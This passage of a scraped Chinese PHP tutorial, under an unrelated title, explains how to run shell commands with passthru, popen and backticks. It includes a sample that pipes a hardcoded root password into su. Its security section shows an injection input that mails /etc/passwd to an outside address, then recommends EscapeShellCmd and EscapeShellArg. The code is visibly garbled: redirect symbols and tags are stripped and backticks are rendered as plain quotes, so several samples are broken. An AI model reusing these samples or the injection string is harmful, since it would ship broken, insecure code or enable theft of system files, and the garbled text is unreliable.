锐客网

  1. 首页 > 睿知 > it技术 > >

php数据打印 php打印数据类型( 二 )

IT技术torch


image/gif");
passthru("./ppmtogif hunte.ppm");
?
2）
用popen()函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互 。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码 。这种情况下，用上面提到的方法显然是不行的 。
popen
()函数打开一个进程管道来执行给定的命令 ， 返回一个文件句柄 。既然返回的是一个文件句柄，那么就可以对它读和写了 。在PHP3中，对这种句柄只能做单一
的操作模式，要么写，要么读；从PHP4开始 ， 可以同时读和写了 。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它 。
例子1：
复制代码
代码如下:
?php
$fp=popen("/bin/ls -l", "r");
?
例子2：
复制代码
代码如下:
?php
/* PHP中如何增加一个系统用户
下面是一段例程，增加一个名字为james的用户,
root密码是 verygood 。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?
3）
用反撇号（` ， 也就是键盘上ESC键下面的那个，和~在同一个上面）
这个方法以前没有归入PHP的文档 ， 是作为一个秘技存在的 。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果 。如：
复制代码
代码如下:
?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?
这个脚本的输出就象：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看
要考虑两个问题：安全性和超时 。
先
看安全性 。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中 。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地
址，然后把这个产品列表发给他们 。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这
个文件 。程序就象这样：
复制代码
代码如下:
?php
system("mail $to
products.txt");
echo "我们的产品目录已经发送到你的信箱：$to";
?
用这段代码 ， 一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞 。如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla ; mail someone@domain.com/etc/passwd ;'
那么这条命令最终变成：
'mail --bla ; mail someone@domain.com/etc/passwd ;products.txt'
【php数据打印 php打印数据类型】我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来 。
幸
好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg() 。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义 。这些字符在Shell中是有特殊含义的，象分号（），重定向（）和从文件读入
（）等 。函数EscapeShellArg是用来处理命令的参数的 。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串
就可以安全地作为命令的参数 。
再来看看超时问题 。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运

推荐阅读


上一篇：表格标签设置不同颜色html，电子表格设置标签颜色

下一篇：光速虚拟机文件管理器，光速虚拟机文件夹在哪